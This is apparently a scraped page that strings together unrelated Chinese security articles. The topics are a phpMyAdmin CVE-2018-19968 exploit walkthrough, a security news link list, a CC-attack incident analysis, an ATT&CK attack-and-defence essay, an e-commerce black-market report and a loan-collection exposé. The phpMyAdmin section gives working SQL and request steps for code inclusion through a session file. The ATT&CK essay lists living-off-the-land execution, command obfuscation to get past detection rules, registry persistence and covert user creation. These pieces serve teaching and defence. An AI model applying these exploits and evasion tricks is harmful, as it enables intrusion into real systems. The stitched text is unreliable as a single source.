我希望这篇文章能够帮助那些尚未与Pentest合作的人进入信息安全领域并尝试真正的实际测试。祝你好运！
社区文章
2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞，影响4.8.0~4.8.3版本，CVE编号CVE-2018-19968。 Transformation是phpMyAdmin中的一个高级功能，通过Transformation可以对每个字段的内容使用不同的转换，每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’，正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接，我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。 通常情况下Transformation的规则存储在每个数据库的pma__column_info表中，而在phpMyAdmin 4.8.0~4.8.3版本中，由于对转换参数处理不当，导致了任意文件包含漏洞的出现。 了解更多关于Transformations的内容：Transformations - phpMyAdmin 5.0.0-dev documentation VulnSpy 已为大家提供在线 phpMyAdmin 环境地址：<https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1，点击又上角的START> TO HACK按钮可进行在线测试。 漏洞细节来自：PHPMyAdmin multiple vulnerabilities - Sec Team Blog 1. **漏洞细节** 在文件tbl_replace.php中： $mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']); [...] // Apply Input Transformation if defined if (!empty($mime_map[$column_name]) && !empty($mime_map[$column_name]['input_transformation']) ) { $filename = 'libraries/classes/Plugins/Transformations/' . $mime_map[$column_name]['input_transformation']; if (is_file($filename)) { include_once $filename; $classname = Transformations::getClassName($filename); /** @var IOTransformationsPlugin $transformation_plugin */ $transformation_plugin = new $classname(); $transformation_options = Transformations::getOptions( $mime_map[$column_name]['input_transformation_options'] ); $current_value = $transformation_plugin->applyTransformation( $current_value, $transformation_options ); // check if transformation was successful or not // and accordingly set error messages & insert_fail if (method_exists($transformation_plugin, 'isSuccess') && !$transformation_plugin->isSuccess() ) { $insert_fail = true; $row_skipped = true; $insert_errors[] = sprintf( __('Row: %1$s, Column: %2$s, Error: %3$s'), $rownumber, $column_name, $transformation_plugin->getError() ); } } } 拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段，因为数据库中的内容用户可控，从而产生了任意文件包含漏洞。 2. **漏洞利用** 创建数据库，并将PHP代码写入SESSION文件中 CREATE DATABASE foo; CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY ); INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>'; 访问[http://pma.vsplate.me/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。](http://pma.vsplate.me/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。) 将篡改后的Transformation数据插入表pma__column _info中： 将sess_ ** _中的_** 替换成你的会话ID，即COOKIE中phpMyAdmin的值 INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_***','plop'; 访问[http://pma.vsplate.me/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1，如果利用成功将会自动包含含有恶意代码的SESSION文件](http://pma.vsplate.me/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name\[multi_edit\]\[\]\[\]=baz&clause_is_unique=1，如果利用成功将会自动包含含有恶意代码的SESSION文件)
社区文章
# 【知识】9月4日 - 每日安全知识热点 | ##### 译文声明 本文是翻译文章，文章来源：安全客 译文仅供参考，具体内容表达以及含义原文为准。 **热点概要： 利用Marketo Forms XSS、postMessage frame-jumping和jQuery-JSONP窃取www.hackerone.com的contact表单数据、在Windows下通过滥用bad assumption检测调试器、通过Burp Macros自动化模糊测试Web应用的输入点、Youtube中的高级Flash漏洞、Ruby on Rails安全检查Checklist、利用内存破坏漏洞进行Python沙盒逃逸** **资讯类：** GitLab修复暴露用户私有令牌的会话劫持漏洞 <https://threatpost.com/session-hijacking-bug-exposed-gitlab-users-private-tokens/127747/> **技术类：** **** 利用Marketo Forms XSS、postMessage frame-jumping和jQuery-JSONP窃取www.hackerone.com的contact表单数据 <https://hackerone.com/reports/207042> 在Windows下通过滥用bad assumption检测调试器 <http://www.triplefault.io/2017/08/detecting-debuggers-by-abusing-bad.html> Safari Accidentally Treating ';' as an Assignment Operator <https://bugs.webkit.org/show_bug.cgi?id=176114> 通过Burp Macros自动化模糊测试Web应用的输入点 <http://blog.securelayer7.net/automating-web-apps-input-fuzzing-via-burp-macros/> Youtube中的高级Flash漏洞 <https://opnsec.com/2017/08/advanced-flash-vulnerabilities-in-youtube/> Android tap-jacking can be turned into ransomware <https://youtu.be/FRpcGwCedZ0> Windows逆向工程 <http://www.cse.tkk.fi/fi/opinnot/T-110.6220/2014_Reverse_Engineering_Malware_AND_Mobile_Platform_Security_AND_Software_Security/luennot-files/T1106220.pdf> Ruby on Rails安全检查Checklist <http://www.engineyard.com/blog/ruby-on-rails-security-checklist> EvilAbigail:Automated Linux evil maid attack <https://github.com/GDSSecurity/EvilAbigail> Remotely Compromising iOS via Wi-Fi and Escaping the Sandbox <https://www.slideshare.net/mark-smith/remotely-compromising-ios-via-wifi-and-escaping-the-sandbox> HTTPLeaks:All possible ways, a website can leak HTTP requests <https://github.com/cure53/HTTPLeaks> 使用RDP跳过网络隔离 <https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/> A journey into Radare 2 – Part 2: Exploitation <https://www.megabeets.net/a-journey-into-radare-2-part-2/> 利用内存破坏漏洞进行Python沙盒逃逸 <https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5> Flattened Mitre ATT&CK Matrix <https://docs.google.com/spreadsheets/d/e/2PACX-1vSzc2z9ZGpr5rnsFdBlqwG0pKyziZrWmNOPfNHjrFpY3twcyueciWelTMmQETSf8IFcOXvkXYBcyd4W/pubhtml> Alice and Bob, who the FOCI are they?:Analysis of end-to-end encryption in the LINE messaging application <https://www.usenix.org/system/files/conference/foci17/foci17-paper-espinoza.pdf> Mako Web-server Tutorials Multiple Unauthenticated Vulnerabilities <https://blogs.securiteam.com/index.php/archives/3391>
社区文章
# 360云防护发现大范围Referer引导型CC攻击事件 | ##### 译文声明 本文是翻译文章，文章来源：360云 译文仅供参考，具体内容表达以及含义原文为准。 **** **事件描述** 11月10日,360云防护产品安域、网站卫士相继发现网站被攻击、拦截失败的事件。 首先,某日报社被攻击,出现502,如图: 然后,某运动品牌电商被攻击,无法打开; 同时进一步分析发现,多个网站、包括部分政府单位网站都无法打开。 **事件分析** 通过对云防护数据进行分析,攻击特征非常明显,url中带了特殊字符串,发现从攻击的来源referer非常集中,并且IP一直在变,异常的多,导致CC攻击拦截一直拦不干净。 攻击URL特征非常明显,wangzhanbeihei&fuwuqibeikeiker: 执行CC攻击的网站请求 来自某电商遭受攻击的数据: 其中来源最多的为[www.3jy.com](http://www.3jy.com/)、m.3jy.com、www.php100.com和[www.tvtour.com.cn](http://www.tvtour.com.cn/),打开其中的web页面,可以看到数十个网站被加载进来,同时随机进行攻击。 **问题定位** 打开<http://www.3jy.com/youmo/25/321325.html>,查看源码,分析发现加载异常js JS内容除了包含本身网站业务内容外,还包含了攻击的代码: 同样打开http://www.tvtour.com.cn/,查看源码,分析发现加载/site/js/tvtour.js 而该JS加载了w.cnzz.com.so/dddd.js 查看w.cnzz.com.so/dddd.js的内容,攻击脚本浮出水面 从动机看,并不像是刷流量刷SEO的行为,也并非网站站长个人所为,其中3jy.com的攻击脚本中连自己都打,而且还有部分政府单位网站,攻击的动机还是有待深究。 **问题处理** 通过360云防护产品实时调整CC攻击防护规则对用户进行流量清洗,阻止了攻击的持续,并挖掘出多个攻击源进行拦截。 同时通报DNS厂商,对该域名进行停止解析服务,以防攻击范围扩大。 **事件影响范围** 360云防护团队,持续为网站安全保障而服务
社区文章
本人不幸遗失苹果手机一部，非常珍惜里面的照片，通过丢失模式锁住了手机，本想等捡到的人打开手机后通过定位再找回手机（现在看来是太单纯了）。昨天收到伪基站发来的短信，内容是：【Apple】您丢失的iPhone设备正在苹果授权店申请售后维修解锁服务；如非本人申请，请立即登录 www.apple.idsdi.cn 申请暂扣此设备并与你取得联系。一激动泄露了账号和密码，现在肯定已被刷机了吧。昨天晚上上网浏览发现一条博客，标题是《黑客讲述：我如何用技术手段逼小偷把iPhone还回来》<http://tech.sina.com.cn/i/2016-10-10/doc-ifxwrhpn9585982.shtml> ，请问社区里面有没有博客里写的那样的人，帮我联系下对方！我也没有别的要求，就是想问问对方有没有导出我手机里面内容，我只要手机里面的照片！
社区文章
# 前言 对于ATT&CK，我相信搞安全的师傅们都在熟悉不过了，ATT&CK把攻击者所运用的技术都以各种TTP展现出来了，如何将ATT&CK框架，更好的利用在我们的企业中，看似是一个简单的问题，实际操作却会出现许多无法意料的问题，就比如我们ATT&CK对应的计划任务，我们对应的规则应该怎么写，写完了规则的准确率是多少，误报率是多少，召回率是多少，写的规则是否真的能检测业务蓝军或者是入侵者，企业是否有支持ATT&CK运营的基础设施平台，ATT&CK运营人员的水位怎么样，因为你的规则匹配出了计划任务，但是仅凭借计划任务我们就能判断出改终端的行为是恶意的吗？不能这么草率吧，以及T1059.001的powershell，我们又打算如何设计我们的规则，是单纯的匹配恶意powershell文本的执行，比如powerspliot还是empire的脚本，还是根据powershell的功能来判断恶意行为？比如执行，下载，-bypass参数来匹配恶意行为，或者是直接套用微软的powershell语言限制模式，当然，这几种模式没有优劣之分，我们红军需要的是用已知的技术解决方案满足企业的安全需求，我们防守方的优势在于攻击者对于我们安全防线水位的未知 当然，我们企业红军所面临的蓝军或者攻击者，他们的攻击方式都是很简单致命的，就是一条攻击链路不会有没必要的攻击行为，这对于我们防守方来说，我们设计了很多规则，看似巧妙精密，但是还是会被企业的蓝军绕过，每次复盘都有许多能提升的水位，当然，废话了这么多，此篇文章仅是以笔者的攻防思路，输出自己对于ATT&CK矩阵的理解，文章尽量会按照以前的风格浅显易懂，如果有师傅对ATT&CK感兴趣，欢迎与我交流，可以邮箱联系我 # ATT&CK规则的攻与防 防守方的难点在于，我们部署好了的防线，无论是WAF/RASP，蜜罐，IDS/IPS，还是我们基于ATT&CK矩阵的检测防线，我们的防守水位到底是怎样的，蓝军，攻击者是基于对我们企业防线未知的情况下发动的进攻，而我们红军自己写的规则，我们最清楚不过，那对于已知的防守情况发动针对性的测试，我相信也会提升企业的安全水位，所以，基于ATT&CK的攻与防，攻在于我们，防，也在于我们 # 执行 这是一个经久不衰的问题，还记得最初搞站的时候，用的菜刀，传了一个exe上去，要cd到exe的目录，但是目录有中文啊，我cd不过去啊，我想了很久不知道怎么解决，后来在吐司的论坛上看见，可以写入bat，再回想，这也是自己第一次明白了渗透所谓的灵活变通，第二次有印象的，是一个aspx的站点，站内pe无法执行，无法启用powershell，mshta hta玄学不上线，dll运行报错，我傻眼了，这怎么上线啊，经过到处摸索，发现可以通过aspx上线，那时候我才明白，语言环境的作用不仅仅是一句话木马的作用，回到正题，对于执行这一块，正如笔者所说，可执行的方式有很多，不仅限于exe。 做一个简单的总结，攻击者有哪些常见执行exe的方法以及变种呢（仅针对windows） 1.后缀替换（这名字取得很不专业） 比如用ps1,bat,vbs,dll,hta等文件 2.语言脚本 常见的比如aspx,php,python,java,node.js python3 -c "import os;output=os.popen('C:/Users/xinxin/Desktop/mmm.exe');" 3.第三方服务 比如我们的7zip，他也可以执行 当然，这对于我们防守方也是十分头疼，时不时攻击者找到一个东西bypass一下，这种规则怎么写嘛，办公软件，不可能直接拉黑吧，可以考虑进程白名单，你7zip进程起的进程，不让执行，当然，这很考验企业的基础设施 4.白+黑 就那执行exe来说，我们出了通过双击,cmd运行以外，还可以存在如下运行方式 利用pcalua Pcalua -m -a axgg.exe 利用forfiles forfiles -P c:\windows\ /m *.prx /c "cmd /c c:\users\axingg\desktop\axgg.exe 利用rundll32执行 rundll32 advpack.dll RegisterOCX axgg.exe 当然，rundll32还可以变形出很多 rundll32 url.dll,FileProtocolHandler file://C:\Users\axingg\Desktop\axgg.exe rundll32 url.dll,OpenURL axgg.exe rundll32 zipfldr.dll, RouteTheCall axgg.exe rundll32 javascript:"..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript)"+(new%20ActiveXObject("WScript.Shell")).Run("axgg.exe")+"\74/script)") 5.变形 其实这一点就有点类似于我上篇文章，命令混淆，变形的思路在于替换，缩短，拼接，我们来看看 先说替换，我们可以怎么替换，比如Pcalua -m -a axgg.exe，我们可以使用环境变量替换某个字符串 P%comspec:~20,1%alua -m -a axgg.%comspec:~24,1%x%comspec:~24,1% 提个问题，关于pcalua这个exe，我们可以去了解一下它具体是干嘛的，出了-m -a参数还有什么，是否只能执行exe，dll，vbs这些能够执行吗？ 利用特殊字符串替换 比如我们的命令，forfiles -P c:\windows\ /m _.prx /c "cmd /c c:\users\axingg\desktop\axgg.exe 我们-p可以替换为/p,甚至可以用特殊字符串绕过 forfiles /ᵖ c:\windows\ /m _.prx /c "cmd /c c:\users\axingg\desktop\axgg.exe 同样也提一个问题，后面的/m /c也能够用-m -c替换吗？如果你是防守方，这一条att&ck的规则你会怎么写？对于这种特殊字符串到底该如何检测？ 巧用copy&&rename 比如我们的命令，rundll32 url.dll,FileProtocolHandler file://C:\Users\axingg\Desktop\axgg.exe copy c:\Windows\System32\rundll32.exe c:\Users\axingg\Desktop\axgg.axgg axgg.axgg url.dll,FileProtocolHandler file://C:\Users\axingg\Desktop\axgg.exe 至于rename我就不截图了，同样也有一个问题，那么我们的copy,rename能否变化呢？ 在举一个列子，权限维持我们会用到注册表，如下命令为最常见的命令 reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v axgg /t REG_SZ /d "C:\Users\axgg\evil.exe" //开机自己运行 如果你是防守方，你会怎么写规则？不管怎么匹配，HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run这一个注册表的位置肯定是重点 那我们怎么绕过呢，我们可以用reg import 我相信有朋友已经心领神会了，这也是替换，用相似的参数去绕过 接下来就是缩短，这个怎么理解，还是以命令行举例，添加用户 net user axgg 123456 /add net1 user axgg 123456 /add 其实我们/add => /ad，我相信这个大部分师傅也是知道的 再举一个列子，powershell能够下载文件，但是我很少看见师傅用这个命令，Invoke-webrequest powershell.exe Invoke-webrequest -uri <http://192.168.1.28:1456/test.txt> -o test.txt 而我们的Invoke-webrequest ==》 iwr powershell.exe iwr -uri <http://192.168.1.28:1456/test.txt> -o test.txt 这就是缩短 那什么是拼接呢，因为这个概念我最早接触于powershell绕过AMSI，分享技术的博主就提出了这个概念，但是对于其他命令行怎么绕过，一直没有大体思路 但我们也可以举个例子，还是以加用户为例子 set a1=er la&& set a2=ne&& set a3=t us&& set a4=cker qaz2022&& set a5=WSX /a&& set a6=d&&call echo %a2%%a3%%a1%%a4%%a5%%a6% # 后记 希望这篇文章能给做ATT&CK体系的师傅们带来一些新的理念和想法，当然，我上面所举的列子，可能在某些检测体系上会原形毕露，直接被当场逮捕，但是重要的是提供一个思路，当然，如果师傅们喜欢这篇文章，阿鑫后续一定会对att&ck框架每一个TTP给出自己的攻防体系思考，之前写的文章挖了很多坑，开了一些系列，都没有坚持做下去，是因为事情太杂，时间不够用，但是笔者现在正在从事研究ATT&CK框架体系，接触的时间不长，如果有师傅对ATT&CK感兴趣，欢迎与我交流，可以邮箱联系我[[email protected]](mailto:[email protected]),文章如有错误，希望师傅们斧正
社区文章
# 威胁猎人 | 2018双十一前夕电商行业黑灰产研究报告 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 作者：威胁猎人鬼谷实验室 ## 版权申明 本报告版权属于威胁猎人（深圳永安在线科技有限公司），并受法律保护。未经允许不得擅自转载、摘编或利用其它方式使用本报告文字或者观点，如需转载请联系威胁猎人。违反上述声明者，将追究其相关法律责任。 ## 前言 双十一电商狂欢节的脚步越来越近，黑灰产也摩拳擦掌。根据威胁猎人业务情报监测平台数据显示，针对2018年双十一活动，黑灰产已经厉兵秣马，开始做准备工作。本文中，威胁猎人会对电商行业所涉及的黑灰产业链进行梳理，结合威胁猎人业务情报监测平台捕获的数据，威胁猎人也将对黑灰产业链上中下游逐层进行剖析，揭开双十一前夕黑灰产的准备工作。 威胁猎人统计了近一个月内的黑灰产针对主流电商平台（京东、淘宝、拼多多和苏宁等）的攻击数据，发现： * 黑灰产虚假注册主流电商平台账号达到 1545980个，其中虚假京东账号约占40%； * 黑灰产针对主流电商平台接口的攻击量达到134743987次，其中爬虫攻击占42.62%，攻击登陆接口（批量登录和撞库）占13.30%； * 针对主流电商平台黑灰产工具样本新增768种，其中辅助类工具占54%，信息采集工具占22%，抢购工具占16.7%，账号注册类工具占7.3%。 ## 一、揭秘电商黑灰产业链 PC和移动互联网的蓬勃发展，在给我们的生活带来便利的同时，也催生了黑灰产这个畸形产物。黑灰产从诞生、发展到现如今高度成熟的整个历程中，电商行业扮演了重要的角色，在海量的新用户红包、优惠券、代金券、打折商品、秒杀活动等等“真金白银”的驱使下，黑灰产大军变得越来越庞大。双十一不仅是剁手党的购物狂欢，也是黑灰产的年度盛宴。根据威胁猎人掌握的情报数据来看，电商行业所涉及的黑灰产业链可分为四大核心：以账号为核心、以流量为核心、以信息为核心和以变现为核心。 ### 1.1以账号为核心的黑灰产业链 在黑灰产业链中账号是基石，其数量和质量很大程度上决定了黑灰产的投入产出比，在电商行业更是如此。在双十一前夕黑灰产会储备大量的电商平台账号，这些账号往往被用于刷销量、刷好评、秒杀特价商品和抢优惠券等，流程如下图所示： 图1 以账号为核心产业链 对该产业链分析如下： 1. 攻击者：卡商、接码平台、号商 卡商：多以正常业务为幌子，通过各种渠道从运营商或代理商获取手机卡资源向接码平台、号商等出售。其提供的手机卡按类型可分为：虚拟卡/实卡、语音卡/短信卡、海外卡/国内卡、流量卡/注册卡。 接码平台：负责连接卡商和有手机验证码需求的群体，提供软件支持、业务结算等平台服务，通过业务分成获利。 号商（账号生产者）：注册大量电商平台账号，并以人工或工具方式养号，借助账号代售平台出售账号。 交易渠道：QQ群、Telegram群组以及自建或第三方交易网站。 2. 基础设施：手机卡、协议破解和软件开发 3. 能力：破坏营商环境 4. 受害者：电商平台、商家和正常用户 ### 1.2以流量为核心的黑灰产业链 双十一前夕，部分商家为了吸引用户的注意力而进行诸多工作如刷单、促销和广告导流等。在这个过程中，商家只需要向相应的工作室提需求，工作室可以短时间内实现精准引流、刷单和提高商品搜索权重等，如下图所示。 图2 以流量为核心产业链 据威胁猎人情报数据分析，该产业链有四种业务模式： * 电商平台砍价群组 * 工作室刷量 * 引流 * 反向刷单 模式1：电商平台砍价群组 根据消费者心理，组建大量砍价群，例如微信群、QQ群和论坛群组，此类群成员数量庞大且活跃，是高质量的流量群体。 图3 砍价群 衍生变现模式： 1. 在淘宝或其他渠道售卖加群资格，价格在0.1~1元/8个群不等，月销量有的高达3000以上，此类群成员是电商精准用户流量。 2. 当手中流量资源积累到一定量后，可引流至其他平台变现，如微商、网赚、新媒体、自媒体、淘宝客、金融、棋牌游戏、小说、营销运营等。 图4 推广 模式2：工作室刷量 金九银十，是商家为双十一做准备最紧要的关头，部分商家通过虚假刷单提高店铺销量、好评量、排名以及评分，领取双十一会场券，并且给顾客留下“好印象”。经威胁猎人调查统计，刷单细节如下： 商家向工作室提需求： 下图为某工作室制定的商家销量代刷佣金表： 图5 代刷佣金表 刷手进行刷单整个流程如下： 1. 商家提供待刷宝贝资料（关键字、旺旺号、刷单数量、刷单价格、刷单要求）； 2. 刷手根据关键字搜索宝贝； 3. 货比4家，窗口进店，浏览主拍宝贝3-5分钟，浏览店内其它宝贝，停留宝贝页面5分钟； 4. 假聊，若商家有特定假聊内容需要加收佣金（2元左右）； 5. 双收藏，收藏宝贝，收藏店铺； 6. 拍下付款； 7. 返款：一般为商家付款，有少量需要刷手垫付单。付款截图发送主持（商家和刷手见的中间人），主持返刷手佣金。 8. 确认收货好评：必须物流信息签收后才能点击确认收货。好评规定评语并晒图的需加收佣金（2元左右）； 然后利用空包网发“空包”完成物流，如下表格为某空包网业务价格： 表1 某空包网业务价格 图6 空包网价格 从整个流程来看，工作室提供的刷单服务已经非常细致了，并且刷手所使用的电商账号大多跟正常买家无异，导致电商平台识别刷单行为需要提取更多的维度特征加以分析，给平台识别刷单带来诸多难题。 ### 1.3以变现为核心的黑灰产业链 模式：薅羊毛 商家是为了拉新、促销、宣传等商业目标，会有各种面向消费者的抽奖、拉新送福利、送优惠券、折扣券等形形色色的优惠活动。这使得浩浩荡荡的“羊毛党”进军电商行业，通过新用户注册、刷单、抢券、低价买进高价卖出等，以低成本甚至零成本换取了高额利润。 薅羊毛已形成组织化、规模化和自动化的产业链，如今羊毛党遍布互联网，威胁猎人在QQ群检索“双十一羊毛”，一下子就出现非常多的薅羊毛QQ群，如下图所示： 图7 薅羊毛QQ群 模式：诈骗 “诈骗”，恐怕是我们听得最多的，安全意识薄弱的用户则是黑灰产眼里待宰的羔羊。黑灰产制作的精良的虚假电商钓鱼网站，用户往往难以识别出；其次黑灰产会从地下渠道购买电商订单数据，然后伪装成客服对买家施行诈骗。 图8 电商订单数据样本 根据360互联网安全中心发布的《2017年中国网购安全专题报告》 ，在2017年双十一近一个月内平均截获每天新增钓鱼网站3.0万，平均每天截获5901.7万次骚扰电话，平均每天拦截3329.1万条垃圾短信；报告还归纳总结了六大类钓鱼网站典型案例，包括虚假购物、投资理财、网游交易、虚假中奖、虚假兼职、假冒运营商。 ### 1.4以信息为核心的黑灰产业链 威胁猎人对业务情报监测平台所监控到针对电商行业的攻击流量进行梳理和分析，发现爬虫流量占了非常大的比重。与此同时采集信息类工具在从9月末出现较大的增长幅度，我们发现工作室将采集的店铺信息、商品信息和优惠券信息等进行二次包装，最终对外提供商家数据分析、关键字排名、竞争对手监控、抢购软件和店铺管理等服务，如下图所示： 图9 以信息为核心产业链 对该产业链分析如下： 1. 攻击者：工作室 工作室：连接上游和下游的枢纽，通过完成下游的提出的需求来获利，具备一定的工具研发能力，大多使用Python、Lua、易语言等，有较强的反侦查能力。 主要操作：采集和包装电商平台数据，最终对外提供营销决策、商品抢购软件、数据售卖和店铺管理等；通过某些渠道获取订单详情并出售用户个人信息。 交易渠道：QQ群、微信群、论坛，以及自建或第三方交易网站。 2. 基础设施：爬虫、协议破解、软件开发和传播渠道 3. 能力：误导消费者、破坏营商环境和泄露用户信息泄露 4. 受害者：电商平台、商家和正常用户 ## 二、黑灰产做了哪些准备？ 结合业务情报监测平台，威胁猎人统计了主流电商平台在9月11号到10月21号期间所遭受到的攻击流量，走势图呈明显的上升趋势，如下图所示。据统计，爬虫攻击占总攻击流量的42.62%，攻击登陆接口流量占总攻击流量的13.30%。另外我们统计top 10攻击源城市的分布，发现攻击源IP主要落在上海市和金华市，如下图所示。 图10 针对主流电商平台的黑灰产攻击流量走势图 图11 Top 10攻击源城市分布 从攻击流量的走势图可以看出，黑灰产从10月8日开始已经蠢蠢欲动，正在为即将到来的双十一积极地准备“弹药”。 由于距离双十一还有段时间，平台和商家还有很多活动还没有开始，所以目前威胁猎人着重对黑灰产准备核心资源——账号的过程进行梳理和分析，包括上游卡商储备和提供大量手机号，中游工作室利用接码平台和自动化工具批量注册虚假账号。 近日，威胁猎人从卡商处了解到从最近关于电商平台的项目需求暴涨，卡商还会建立双十一专用QQ群用于接码，如下图所示： 图12 淘宝专用接码群 图13 接码QQ群消息记录 上图中的QQ群只接淘宝平台的短信验证码，价格为2.6元/次，通常这种通过私下渠道接码的价格会比接码平台的价格贵一些，下表为某接码平台上电商项目的价格： 厂商 | 语音实卡（元/次） | 短信实卡（元/次） | 短信虚卡（元/次） ---|---|---|--- 京东 | 1.5 | 0.5 | 0.5 淘宝 | 3.0 | 2.0 | 0.5 拼多多 | – | 0.5 | 0.5 苏宁 | – | 0.5 | 0.2 表2 某接码平台电商项目价格表 结合业务情报监测平台的数据，威胁猎人统计了从9月24号到10月22号主流电商平台上每日虚假注册的账号数量，如下图所示： 图14 主流电商平台每日虚假注册的账号数量 从上图中可以看到，从9月24号到10月22号每日虚假注册的总量保持着增长的趋势，并最终达到70363次/日，其中京东平台是黑灰产主要关注对象，其次为淘宝。 经威胁猎人调查统计，目前主流电商平台各类型账号价格如下： 表3 主流电商平台账号价格表 与此同时，针对电商平台注册类工具数量也较以往有所增幅，近两个月内威胁猎人业务情报监测平台共捕获89种电商平台注册工具，而且版本迭代非常迅速，如火牛注册工具（可注册主流电商平台账号），在短短的12天里就捕获到13个不同的版本。 Md5 | 工具名称 | 捕获时间 ---|---|--- 1b5a0f58fb262ac77dc1ff8819c53935 | 火牛注册扫号V1.1.3.exe | 2018-09-22 23:36:44 2b2284b79b27e04123d97b2cd633cc92 | 火牛注册扫号V1.1.2.exe | 2018-09-22 22:39:44 cec15ab15ebeca9e361ae82ebfb0e1a9 | 火牛注册扫号V1.1.1.exe | 2018-09-22 16:35:30 525e37b918c559074ae01684831100ba | 火牛注册扫号V1.0.9.exe | 2018-09-21 00:53:56 6de8e8d169dcf62b6b097f6898c533d5 | 火牛注册扫号V1.0.9.exe | 2018-09-20 22:13:56 8e78afdb3f17011e046cca54a9fb868d | 火牛注册扫号V1.0.8.exe | 2018-09-20 15:38:16 581502a21a7630ec5a6c18d468884885 | 火牛注册扫号V1.0.7.exe | 2018-09-18 14:58:26 23c84e6bbe9e794f459a6c82129fc28a | 火牛注册扫号V1.0.6.exe | 2018-09-13 18:02:46 a9ca74e2cc24cc845c1cbaa3fc53e102 | 火牛注册扫号V1.0.4.exe | 2018-09-13 14:02:33 74fe9300c091962129de32fc0b4a805d | 火牛注册扫号V1.0.4.exe | 2018-09-12 23:54:00 88b5eded8e02b72ca086630801da9bdc | 火牛注册扫号V1.0.3.exe | 2018-09-11 16:00:57 e536840a3c7351ee43c8c39c05e5e00d | 火牛注册扫号V1.0.2.exe | 2018-09-11 15:11:37 a6e637df2065a96d78af51e2fc0edddc | 火牛注册扫号V1.0.1.exe | 2018-09-10 22:43:05 表4 火牛注册工具 除了注册类工具，针对电商行业的黑灰产工具还包括抢购类、信息采集类和辅助类工具。我们统计了9月份和10月份的工具样本，其中9月份针对电商的黑灰产工具总量为638种，10月份（截至22号）总量已达到768种，各类型占比如下： 图15 工具类型占比图 ## 三、总结 临近双十一购物狂欢，黑灰产已准备好弹药蓄势待发。威胁猎人业务情报监测平台已经监控到明显的针对电商行业的黑灰产活跃度上升趋势，并且威胁猎人相信，这种上升趋势会一直延续到双十一前后，并且攻击模式也将由前期的资源储备逐渐向后期的利用变现转换。 双十一前后曝露了针对电商行业的黑灰产最阴暗的一面，黑产大军不遗余力地想从这场年度盛宴中分得一杯羹。不论是破坏电商公平竞争环境的刷单操作，还是大肆掠夺折扣券、优惠券，秒杀特价商品这些影响正常用户权益的恶意行为，作为核心资源的账号资源扮演了极其重要的角色。对于各大电商而言，如何在最后的冲刺阶段有效地管控虚假账号，将是能否跑赢黑灰产的关键。在此，威胁猎人给出几点建议： * 在临近双十一期间，提升账号注册/登录的风控安全等级，尽可能在减少影响用户体验的情况下，提高黑灰产使用账号的难度和成本； * 手机黑卡是整个账号黑灰产业链的源头，结合第三方手机黑卡情报库，提高手机黑卡识别率，便能提高虚假账号的识别率，降低后期反欺诈的成本； * 积极主动收集和监控相关黑灰产情报，例如研究主流账号注册机/扫号器的注册/登录逻辑、研究抢购软件的工作原理，从方法和流程上打击黑灰产的自动化效率。 ## 说明 1.数据来源说明： 本报告数据来源于威胁猎人TH-Karma业务情报监测平台，取样主要采取“关键词取样”、“相似度采样”和“分层采样”方式，基于上述数据取样方式所得的数据分析结果与实际情况之间可能存在一定的偏差，敬请谅解。 2\. 业务情报监测平台说明： 业务情报监测平台——TH-Karma，以攻击者视角，依托开源情报、工具情报、闭源情报三大业务情报体系，及深层次的情报处理能力，帮助企业在业务环节精准筛选出恶意流量，还原业务风险场景，并量化对业务的影响，且持续对黑产进行实时监测，驱动风控决策引擎迭代，从而提升企业整体攻防效率。
社区文章
# 网贷催收行业灰产揭秘，高额利息让你深陷“借新还旧”黑洞 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 近年来，互联网金融借贷平台大量涌现，不少网贷平台借款门槛低、放款快速，吸引了大批借款用户，其中不乏一些用户并没有还款能力；同时，有的平台还通过一些规则和条款，如：逾期需缴纳高额滞纳金，借款先交各种服务费等，让用户的借款“利滚利”最后无法偿还。大量逾期债务也就催生了一条灰色产业链——暴力催收。 校园裸贷、辱母案、借贷自杀等案件频发，网贷一次次被推上风口浪尖，暴力催债酿成的惨案愈演愈烈，让人唏嘘心疼，相信那些深陷“套路贷”没有被曝光的用户也有很多。今天卫士妹就给大家全程揭秘一下网贷催债套路。 ## 借款先收费，合同藏猫腻 大部分规范平台会一次性按照借款金额收取一定比例（5%左右）的服务费，但有些网贷平台会收取名目各异的服务费：信审费、管理费、手续费、平台运营费等，累计起来也是一笔不小的数目。所以用户在借款前一定要仔细查看相关合同的收费条款。 比如，你想借10万元，就需要签订11万元的借贷合同，其中1万元是给借贷公司的砍头息或者是服务费，然而你却要按照11万元来计算利息。 ## 逾期还款，加收高额滞纳金 一般正规的贷款机构会提前3个工作日通过短信、电话等途径通知还款事宜，但一些网贷平台根本不通知，不排除故意让借款人逾期。如果逾期未还款便开始各种催收，这时你需要偿还的可就不是本金和利息那么简单了，他们会巧立名目：滞纳金、罚息、服务费、催缴费等。据行业人士透露，还可能包含调查取证费、差旅费、诉讼费、执行费、律师费、媒体广告费等，听着都让人窒息。 ## 催讨过程暴力升级 ## 安全课堂 